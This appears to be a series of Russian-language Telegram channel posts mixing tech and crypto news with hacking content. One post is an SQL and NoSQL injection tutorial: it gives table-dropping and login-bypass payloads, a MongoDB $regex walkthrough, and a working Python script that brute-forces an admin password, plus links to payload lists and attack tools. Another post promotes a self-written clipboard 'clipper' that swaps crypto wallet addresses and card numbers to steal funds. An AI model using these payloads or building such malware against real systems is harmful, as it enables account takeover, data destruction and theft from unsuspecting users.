В Казахстане легализуют коноплю. Но не радуйтесь раньше времени.

Это не про джа и бонги, а про «техническую коноплю» – без ТГК и кайфа. МВД разъяснило: хотят выращивать её для текстиля, стройматериалов и прочих полезных штук, но не для весёлых вечеров на балконе.

Будет жёсткий контроль, лицензии, возможно, даже форма и отчёты. По сути - попытка превратить сорняк в экспортный ресурс. И да, вырастить втихую «не техническую» не получится: за этим будут следить как за границей госбюджета.

Казахстан пытается зайти в агроиндустрию 2.0. Но звучит так, будто просто хотят переупаковать поле в стартап.

Скоро будем слушать про «экологичный бетон из стебля» и «конопляные кроссовки для устойчивого будущего». Ну а пока ждём: может, и нам останется хоть пара листиков.

t.me/intelpad

SQL и NoSQL инъекции. Теория и практика

Чем отличаются SQL и NoSQL базы, как работают инъекции и как через них можно получить доступ к данным, обойти авторизацию или подобрать пароль к админке.

SQL - это язык, с помощью которого мы управляем реляционными базами данных. Всё хранится в таблицах.

Пример:

users
| id | name | email |
|----|-------|---------------|
| 1 | intelpad | intelpad@mail.ru |

NoSQL - нереляционные базы. Самый популярный пример — MongoDB. Данные чаще всего хранятся в виде JSON-документов:

{
"name": "intelpad",
"email": "intelpad@mail.ru"
}

JSON - это просто текстовый формат, основанный на JavaScript, в котором удобно хранить и передавать данные.

Что такое SQL-инъекция?

Это уязвимость, при которой злоумышленник может внедрить свой SQL-код в запрос, выполняемый сервером. Это позволяет, например, получить все данные, обойти логин, удалить таблицу и т.д

Где искать:

/login
/search
/register
/users
/articles

Примеры SQL-инъекций

Удаление таблицы

intelpad'; DROP TABLE users; --

Если ввод напрямую вставляется в SQL-запрос без фильтрации - таблица users будет удалена.

Обход авторизации

' OR 1=1 --

Если SQL не параметризирован, это условие всегда будет истинным - и авторизация будет пройдена без пароля.

Что делать дальше?

Когда мы нашли уязвимость - можно применять пэйлоады:

Вывести все данные:
' UNION SELECT * FROM users --

Изменить пароль:
UPDATE users SET password='newpass' WHERE username='admin'

NoSQL-инъекция

Пример для MongoDB.

Если backend ожидает JSON, а мы можем его подменить - можем внедрить операторы вроде $regex.

Пошаговый взлом учётки через NoSQL Injection

1. Понимаем, что сервер принимает JSON:

{
"username": "admin",
"password": "123456"
}

2. Подбираем первую букву пароля через $regex:

{
"username": "admin",
"password": { "$regex": "^a" }
}

Если в ответе есть, например, "Welcome admin" - значит пароль начинается на «a»

3. Проверяем длину пароля:

{
"username": "admin",
"password": { "$regex": "^.{7}$" }
}

Если сервер не возвращает ошибку - длина пароля 7 символов.

4. Подбор всех символов по порядку:

#Пример на Python:

import string
import requests

url = "http://site.com/login"
password = ""
possible_characters = string.ascii_letters + string.digits + string.punctuation
password_length = 8

for position in range(1, password_length + 1):
    for char in possible_characters:
        regex = f"^{password + char}"
        data = {
            "username": "admin",
            "password": {"$regex": regex}
        }
        response = requests.post(url, json=data)
        if "Welcome" in response.text:
            password += char
            print(f"Password so far: {password}")
            break

print(f"Final password: {password}")

Другие типы NoSQL-инъекций

Внедрение синтаксиса - полный контроль над запросом

Внедрение операторов - использование логики ||, && и т.д

JavaScript-инъекция - выполнение кода внутри БД (актуально для MongoDB)


Пример уязвимости на сайте

Запрос:

https://site.com/product/search?category=

Вставляем payload:

'fizzy' && 1 && 'x

Если сервер не фильтрует ввод - вернёт все товары.

MongoDB payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/MongoDB.txt

Общие NoSQL payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Intruder/NoSQL.txt

sqlmap:
https://github.com/sqlmapproject/sqlmap

nosqli:
https://github.com/Charlie-belmer/nosqli

SQLi Payload List:
https://github.com/payloadbox/sql-injection-payload-list

Пример команды:

nosqli scan -t http://localhost:4000/user/lookup?username=test

t.me/intelpad

89 миллионов Steam-аккаунтов утекли? 😱

Пугали - будто в даркнете продают базы Steam. Кричали - утечка, взлом, двухфакторка, паника. Но, как выяснилось, это даже не утечка. Это скучные смс логи, и в худшем случае - приглашение на фишинг.

На форуме появился некто Machine1337 и заявил: вот вам 89 миллионов записей, берите за $5000. СМИ подхватили. Пользователи напряглись. Эксперты посмотрели - и угарнули.

По словам специалиста Кристофера Кунца, всё, что слил хакер - это:

старые коды для входа (действовали 15 минут),

статусы доставки (типа «дошло» или «не дошло»),

номера телефонов (без логинов и паролей),

метаданные и стоимость отправки SMS.

Ни аккаунтов, ни паролей, ни даже связки «номер - пользователь Steam»
Просто сухая статистика - идеальная приманка для фишинга, но не для взлома.

Виновата ли Twilio? Нет - Valve говорит, что никогда не использовала её для Steam. Сама Valve заявила: их системы целы, никаких проникновений. Просто кто-то слил старые сообщения, которые когда-то пришли игрокам.

Так что нет, ваши 2000 часов в Dota 2 не украли.
Но будьте начеку - кто-то может попробовать 🤫

t.me/intelpad

Ну штош. Арестовали…

Владимир Смеркис, бывший глава Binance в СНГ и сооснователь Blum – теперь не просто «бывший», а фигурант уголовного дела по ч. 4 ст. 159 УК РФ – мошенничество в особо крупном размере. По заявлению суда, речь идёт о деяниях, совершённых организованной группой. Санкция – до 10 лет.

Интересно, что за несколько часов до появления инфы об аресте, команда Blum бодро отчиталась: мол, Смеркис «не участвует в разработке», «вышел из проекта», и вообще – был просто директором по маркетингу. Совпадение?

Если кратко про биографию:
— В 2022 возглавил Binance в СНГ
— В 2023 ушёл, после чего Binance продала российский бизнес
— В 2024 запустил Blum - криптоигру/биржу в Telegram
— В 2025 - уже 92 млн пользователей и $5 млн инвестиций
— А теперь - уголовное дело и следственный изолятор

Криптокомьюнити шепчет, что дело может быть связано с его прошлыми проектами – The Token Fund (минус $8 млн) и Tokenbox (ещё минус $7 млн). Типичная схема: токен за токен, обещания x10 и тишина. Ну а дальше – вы сами знаете 🤭

Сейчас Blum – это аналог нашумевшего хомяка, где тыкаешь экран, собираешь монетки и ждёшь токен. Только вот листинг этого токена всё не наступает. Кто-то ещё верит? 🫠

В общем, начинается 10 лет прикура. Или меньше – если договорится 💸

Lumma отлетел. Microsoft, ФБР и ещё полмира устроили зачистку

13 мая случилось то, чего многие ждали: Lumma Stealer, топовый инфостилер, оказался без связи, без панели и без почвы под ногами. Его не взломали – его официально прикрыли.

В операции участвовали все, кто мог: Microsoft, Минюст США, Европол, ESET, Cloudflare, JC3 (Япония) и ещё с десяток партнёров. Под раздачу попало 2300+ доменов, связанные с Lumma. В тот же день американцы отжали панельку управления стиллером, через которую его раздавали в аренду.

Lumma = MaaS (Malware-as-a-Service)
Инструмент работал по подписке за $250–$1000. Воровал всё подряд: пароли, куки, крипту, банковские данные, историю браузера. Основные цели – Chromium-браузеры (Chrome, Edge и т.д.). Распространялся через GitHub-комменты, дипфейк-сайты, рекламу с троянами и фишинг.

394К заражённых машин – только за март-май.
Cloudflare говорит, что Lumma активно юзал их инфраструктуру для проксирования трафика. Когда стало жарко, они включили Turnstile – чтобы хотя бы ботам стало чуть сложнее.

Лидер стилеров в 2025-м
По данным IBM X-Force:

+12% к объёму логов в даркнете;
+84% рост поставок стилеров через фишинг;
Засветка в атаках на PowerSchool, HotTopic, Snowflake;
Даже BGP-инциденты, как у Orange Spain — тоже не без Lumma.

t.me/intelpad

Клипер под капотом: как воруют крипту, почту и деньги за 5 минут на коленке.

Кто давно в теме - знает: клипер не вчера появился. Маленький скрипт, который сидит в фоне, следит за буфером и по команде меняет адреса, почты, карты и всё, что можно монетизировать.

— Скопировал адрес криптокошелька? Будет чужой.
— Копируешь почту? Уже другая.
— Номер карты? Спокойно вставляется «корректный» 🤭

Работает бесшумно, без окон и уведомлений.
Чел думает: «Я сам вставил». А на самом деле - не совсем сам 😁

Я записал видео, где показал, как это работает.
Написано на питоне. В 70 строк. Просто чтобы напомнить:
всё гениальное – максимально тупое.

Что делает клипер:

— Следит за буфером
— Ловит по всё, что похоже на адрес, почту или карту, ну или другие заданные данные
— Молча меняет на «своё»

И это не какой-то там нольдэй. Это базовый функционал, который до сих пор уносит крипту у тех, кто просто невнимательно нажал ctrl+c + ctrl+v 🤥

t.me/intelpad

19:00 — Павел Дуров и Илон Маск подписались друг на друга в соцсети X.
20:00 — Telegram и Grok AI объединяются. Совпадение? 🤔

У Дурова теперь единственная подписка — Илон Маск.
У Маска — подписка номер 785: Павел.
X-романтика, как она есть 😁

Сегодня объявлено о партнёрстве Telegram и xAI – нейросетевого стартапа Маска.

Что в сухом остатке:

— Telegram получает $300 млн
— Ещё 50% выручки от подписок xAI, оформленных через Telegram
— Grok встроят прямо в интерфейс Telegram

Что будет уметь Grok в Telegram:

— Закреплённый чат для общения с ИИ
— Ответы прямо через строку поиска
— Редактирование и переформатирование сообщений
— Сводки по PDF и ссылкам
— Модерация групп и фактчекинг в каналах
— Создание анимированных стикеров и аватаров с ИИ

А ведь ещё недавно нейросети просто дописывали сказки и раскрашивали фото бабушек… 🫣

Теперь – модерируют чаты, проверяют факты и анализируют документы.
Лето будет жарким. И, возможно, немного машинным.

t.me/intelpad

Помните, как я когда-то взял домен intelpad.ru и радовался? Планов на этот домен у меня было много… Но я допустил ошибку: ввёл неверные данные при регистрации, а это нарушает политику доменов .ru / .рф, чего я конечно же не знал 🥴

Известие об изъятии домена пришло неделю назад. Но, так как я считаю, что смотреть рабочие почты - это полный кринж, я успешно остался без домена и всего, что с ним связано.

Теперь понимаю, что взял .ru зря, т.к проект ориентирован на всё СНГ, а .ru порой не даёт доступ некоторым странам. Ошибку усвоил, был тогда зелёным и неопытным. Теперь буду читать политику всех доменных зон, чтобы таких казусов больше не было 😁

t.me/intelpad

🤯 Украли 50 Pepe на $500.000 прямо на свидании.

Началось всё с романтики: на трансляции девушка познакомилась с парнем, который красиво рассказывал про светлое будущее и цифровые горизонты. Встретились, поболтали - и тут он забирает её телефон, меняет данные аккаунта и выгружает все подарки, в том числе и десятки редких Pepe.
@bibikovvaa - это был её акк.

🔒 Roxman пообещал заморозить подарки, если их выставят на Portals.
Вероятность возврата под вопросом. Часть чата считает, что это могла быть инсценировка, чтобы уйти из коллекции без палевного слива 🤔

Почти 1% всей капитализации Пепов теперь в неизвестных руках 🫣

Возвращаясь к теме локального безумия на маркетплейсах, хочется отдельно пройтись по новой движухе на @mrkt, которая выглядит как попытка оживить труп за счёт костров из новостей и микробабок.

🎁 Теперь за каждый загруженный подарок тебе капает 0.3 TON на баланс.

👀 Любой подарок участвует. И что мы видим?
Флор на самые днищенские лоты начал ползти. Даже B-Day Candle, который делался по себестоимости 1.71 TON, теперь торгуется по 2.2 TON.

🔥 Параллельно Tonnel пробил 1 000 000 пользователей.
Да, поздравим нашего Фримана, респект за открытие #1 маркета подарков. Заслуженно.

😁 Весь этот движ чем-то напоминает старую добрую школу прогрева, когда на хайпе дарят, пушат, мутят, перекладывают, и потом ждут, что народ сам подхватит.

И вот вроде снова начинает казаться, что это работает, но если приглядеться – всё держится на активности, бонусах и прочей халяве.

🙈 Весь рынок сейчас как гифка, в которой тебе кидают хлеб, но забывают, что ты не голубь, а инвестор.

Делайте ставки, потечет ли флор вниз, когда конкурс на MRKT закончится

t.me/intelpad

Начали жесточайший шиллинг «народных» альтернатив и цифрового импортозамещения с лицом госфинансирования, и я решил поковырять нашумевшую соцсеть MAX.

🤔 Скачал, потому что начал мелькать недобросовестный шепот: «Телеграм скоро заблокируют, готовьтесь переходить..»

🥴 Первое впечатление: будто кто-то уронил Telegram в бочку с ВК, ей богу.
Идея очень своеобразная:
Найти человека ты можешь только если у него есть MAX и он есть в списке контактов. Никаких юзернеймов, как в тг, никакого публичного поиска и приватности.

😬 Интерфейс как будто делали на спор. Бесконечные клики, пустые разделы и раздел «FAQ», который обещает показать техническую документацию, но при попытке её открыть – отправляет в философский запой (Если у кого-то открывается - скиньте в чат, мне уже просто интересно)

🤣 GigaChat (ИИ от Сбера) встроен, но с лёгкой потерей ориентации в пространстве. На мои вопросы, связанные с самой платформой, он отвечал примерно как кот, которого разбудили и попросили рассказать про криптовалюту. Половину времени думал, что он в каком-то другом приложении.

🙉 Поддержка работает, но: час диалога, три шаблонных ответа и просьба прочитать каждое слово вслух, дабы найти то, чего я не вижу в FAQ (где, как мы помним, всё не открывается).

🤷‍♂️ В целом MAX сейчас напоминает MVP уровня «пусть хоть что-то будет, а там разберёмся».
Контента нет, людей мало, инструментов почти никаких, но планы огого.

🙋‍♂️ VK, по слухам, хочет сделать из него российский WeChat, с оплатами, доставками, VK Музыкой, госуслугами и всем подряд. Напоминаю, на всё это хозяйство в 2023 году было выделено 100 миллиардов рублей.

Оставляю за собой право дополнить пост, если поддержка MAX когда-нибудь решит, что я достоин ответа не по шаблону.

t.me/intelpad

💎 Стикеры, TON и Telegram: как фармят NFT, пока ты листаешь ленту

Все, кто хоть немного шарит за TON и NFT, уже поняли, что весь движ ушёл в Telegram.
@sticker_bot превратился в полноценную NFT-платформу, где скупают паки от топов типа Azuki и Pudgy Penguins по 3к-5к звёзд за пару минут. BAYC, кстати, сегодня тоже открыли официальный тг канал 🙈
Паков очень мало, ажиотаж - огромный. Время жизни этих паков очень скромна, не более пяти минут.

🤔 И как это работает, спросите вы?
Есть два способа купить стикеры:

1. Через сайт (TON)
Паки можно сразу перепродавать, но ты платишь криптой: пока идёт подтверждение от твоего кошелька - всё уже раскупят.

2. Через бота (звёзды)
Быстро, легко, с баланса, но заморозка на 20 дней ни продать, ни передать. Все сидят, жмут «Обновить», и ловят лаги, от чего сервера и падают.

🤖 И тут я подумал: пишем скрипт

На сайт заходить руками это уже прошлый век.
Берём Python + Playwright (Selenium пусть полежит в аду) и пишем скрипт, который: логинится - жмёт «купить» - ставит макс. 5 паков - выбирает валюту - мгновенно оплачивает.
подтверждение транзакции ручками, к сожалению.

Работает стабильно. Сайт жив, а ты покупаешь.
Минус одна проблема.

🥴 А теперь вторая схема – через аппку

Да, мини-аппка тупит.
Но, если ты умеешь ловить iframe и знаешь, как устроена страница, то это не проблема.
Захватил фрейм - нашёл нужные кнопки внутри - автоматизировал жим.

Обычно всё падает, потому что юзеры - это юзеры.
А ты уже скрипт.

⚙️ А теперь немного магии

Пока все жмут кнопки, я залез в DevTools и посмотрел, что реально происходит, ведь ссылки на оплату не берутся из неба.
Все ссылки на покупку паков за звёзды летят по сети.
Запрос - JSON - в нём вся инфа: айди пака, ссылка на оплату, всё, что надо.

💡 Значит, можно сделать так:

1. Скрипт #1 мониторит сеть и выдёргивает ссылки на покупку в реальном времени

2. Он кидает их в приватный канал

3. Скрипт #2 сидит в этом канале и сразу покупает

Всё. Ты больше не юзер. Ты — релейка с реакцией в 50 мс 😁

Это ещё не фарм, но уже не ручной труд.
Я пока всё это не автоматизировал на 100%, но скрипт для сайта у меня уже готов и работает как часы.
Схема с DevTools – только идея, но, как показывает практика, таких идей хватает, чтобы выйти в плюс.

Скрины в комментах.

t.me/intelpad

Когда ты просто хочешь нормально работать, открыть какой-то зарубежный сервис/сайт, да даже банально открыть гитхаб, а вместо этого ловишь таймауты, обрывы и блокировку, потому что где-то там РКН опять наводит порядок - становится реально тошно.

За рубежом половина сервисов отваливается. Зачем? «Дабы увеличить контроль за гражданами и сделать импортозамещение!», а вместо импортозамещения мы получаем какой-нибудь «аналог» телеграма - MAX, где полностью слизанный интерфейс, отказ от нормальной работы и где, в принципе, невозможно переписываться так же, как в телеграме.

РКН давно перестал быть просто регулятором, это уже не ведомство, а кувалда, которая с размаху херачит по собственному интернету.

Альтернатив нет, то, что обещают - либо сырое, либо не вылезает из стадии MVP. Всё остальное режется, душится, замедляется. Мы катимся в сторону замкнутой, унылой сетки, где ты заходишь в пару «разрешённых» ресурсов и радуешься, что вообще открылось 👍

Программистам, инженерам, простым юзерам - всем плевок в лицо. Нет ни объяснений, ни вариантов. VPN снова мастхэв.

И всё это ради чего? Ради псевдоимпорта и таблички «Мэйд ин Россия», которая даже не кликабельна 🤡

t.me/intelpad

Кароче, @sticker_bot решили убрать возможность добавлять кол-во паков (было 5, стало 1) при оплате на сайте.
А прошлая коллекция какого-то супер редкого стикерпака вышла недобросовестной, объясняю: как говорят криптаны, которые пытались уловить хоть один пак - некоторых людей (друзей владельца) добавили в Whitelist, из-за чего они могли без задержек минтить паки, скупая все на своем пути.
Также в мини аппке убрали возможность покупать эту коллекцию за звезды… Но на этом всё не остановилось, т.к. на раздачу халявы залетел парень со скриптом, скупив 74 пака, и словив два икса мгновенно 😉

Это меня очень зацепило и я решил всё таки закончить свой скрипт по автоматизации покупки. По сути - всё просто. Разбогатеть может каждый, кто хоть чуть-чуть разбирается в структуре веб-сайтов и знает, как работать с Selenium (это та либа, которую я хейтил 3 поста выше).

t.me/intelpad

Сцены из жизни Телеграма и соседей

🎉 Telegram добавил фактчекерские плашки на посты - теперь если инфлюенсер несёт ахинею, ему накидывают «проверка фактов», как ошейник 🤣

🐸 А вот OHUENKO, креативный директор Telegram, вместо того, чтобы выкатывать новые улучшение, новые гифты - решил устроить скам-конкурс.
Условие: написать сообщение, чтобы тебя не перебили 2 минуты. Раньше был час.
$100к+ собрал он, пока народ пытался поймать удачу в чате с 60к+ душами.

📵 Ну и гвоздь в гроб отечественной разработке MAX:

Вот вам библиотечки, что нашли под капотом:

🇺🇸 Conductor от BlueLineLabs
🇵🇱 recycler-fast-scroll
🇺🇸 ProcessPhoenix от JakeWharton
🇺🇦 uCrop от Yalantis

А теперь внимание, контрибьюторы:

@shliama - 🇺🇦 Krootl
@Legementarion - 🇺🇦 Dnipro
@p1nkydev - 🇺🇦 Raiffeisen Bank Ukraine

То есть, ты как бы делаешь «нацпродукт», но при этом втаскиваешь либы из «недружественных стран», ещё и строишь из себя альтернативу Telegram 😁

Интересно, как они собрались делать великий российский фаервол, если даже отечественные аналоги без помощи «недружественных стран» разработать не могут?)

Частичную инфо брал тут

t.me/intelpad